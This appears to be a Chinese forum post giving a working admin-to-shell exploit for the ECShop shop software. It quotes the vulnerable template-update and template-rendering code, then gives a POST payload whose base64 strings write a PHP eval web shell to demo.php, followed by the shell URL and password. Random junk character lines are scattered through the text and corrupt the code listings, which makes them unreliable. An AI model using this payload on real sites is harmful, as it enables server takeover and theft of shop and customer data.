Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
8 \; Q  y5 Z! I$ \3 V
" \$ E  K5 L7 R. A而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
! |- s1 d9 M( k+ |但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
; h' l# t* ^+ T# k* A9 g2 Eadmin/template.php

6 T* T& z) n  ?5 ^1 if ($_REQUEST['act'] == 'update_library')

' H/ [- j- Q) H+ m) M2   

3 C9 p1 j. F# G) y* \. i, T7 K+ |3 {

4     check_authz_json('library_manage');
! N  I2 @$ N4 a. {8 [
5   
9 J3 y+ k2 i( K' n
6     $html = stripslashes(json_str_iconv($_POST['html']));
- I+ ?. f# t; _' y, d7 m0 w$ h
$ M, b7 c! O( s8 A( i& k; a6 f, m. I7   
% g$ F% v# @! d
" D/ X8 _& S1 u0 J* r3 e8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   
0 I0 J( v- C2 T5 H% v5 q/ `
- c6 }/ w" ~% p' F' _10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

# i# o0 P7 k1 o$ |' L- j& T( I( _6 K11   

6 O* I/ }! h2 l4 a* j, z. l12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

13   
$ v# l/ }3 h4 {! O6 x6 O5 e( G5 K
2 a  z6 F# T- G) P14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
# x. U$ }2 A1 l
, t+ {; |- Y( m1 T/ G15     {
& r9 t9 ?; l' f+ |# R
/ e* ?' y/ \+ Y16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
! w3 }6 ^3 ?4 O) c- n
! p3 n' }# d  K" Q% F0 y17         make_json_result('', $_LANG['update_lib_success']);
- f! ^2 K0 b' |7 `4 ?+ b1 c
1 ?+ a: Y& U. i  m1 J18     }

19     else
. F: Z9 K: k: x+ [0 s
20     {

21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

, A3 C3 K+ d. }2 n6 ^+ ?4 `22     }

23 }
) {! p* @1 ~0 e. A$ x1 v
那么找个比较方便调用了模板的文件
' r' c  }; t/ F. f/ H7 T" cindex.php

1 if ($act == 'cat_rec')
5 I* h5 K, y5 e- c* q; h3 C0 C
" ]$ u" R$ k) ~: F( R, P2   

7 y: Y1 C3 x( i  X* h+ g" Z3 E3 {
4 b2 z# D# _. Q
4   

8 z$ p1 ]. p8 g: |5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
' c% K# c" U& \  c: j
6   
: A& ~  \1 S5 ?. B0 w
4 v! y' Z' {+ z7 f7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

$ n4 I6 @( ~$ q$ p" M, p  c0 u8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
1 P6 ]- ]8 X; y, `
9 o0 f9 }/ X6 i! n( g10   

11     include_once('includes/cls_json.php');

12   
( @8 k( b3 D# [/ w
- N' ~% _; u3 w* h3 k- r13     $json = new JSON;
; u* D) `+ H. q1 M$ X
14   
3 N$ _# K, g$ c% l
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

' O5 ?7 ~% B, w: |  C8 G16   

17     $children = get_children($cat_id);

6 B2 d" i" U" {7 z' ~) b2 F18   

19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
0 D- ?* `6 t: d" t' {$ `$ g4 O1 \
: n2 ?4 J, `! u20   
7 `. M5 u/ [5 w
21     $smarty->assign('cat_rec_sign', 1);

- ~/ }1 ^& D. Y! S1 n1 ~22   

* W. P2 |- Z/ _( ^: t' ]! f23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

" ]6 D( T) f) s1 O/ }6 p* a/ F24   

25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   
# J4 k# T; S3 ~; p1 u2 D8 S5 y
27         echo $rec_array[$rec_type];

28   

29     die($json->encode($result));

30   

31 }

7 E& [+ {: n$ X* r( z那么就有利用方法了
post包到http://localhost/ec/admin/template.php?act=update_library
: W" ?2 z3 K" i; }$ I9 t3 VPost内容：

​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

8 ~1 Z- ^' O( t! Z然后访问http://localhost/ec/index.php?act=cat_rec
( ]6 K7 D, M( H- X3 O
shel地址：http://localhost/ec/demo.php
密码c
7 I3 F# t9 o1 I
/ ?6 l: [" @1 K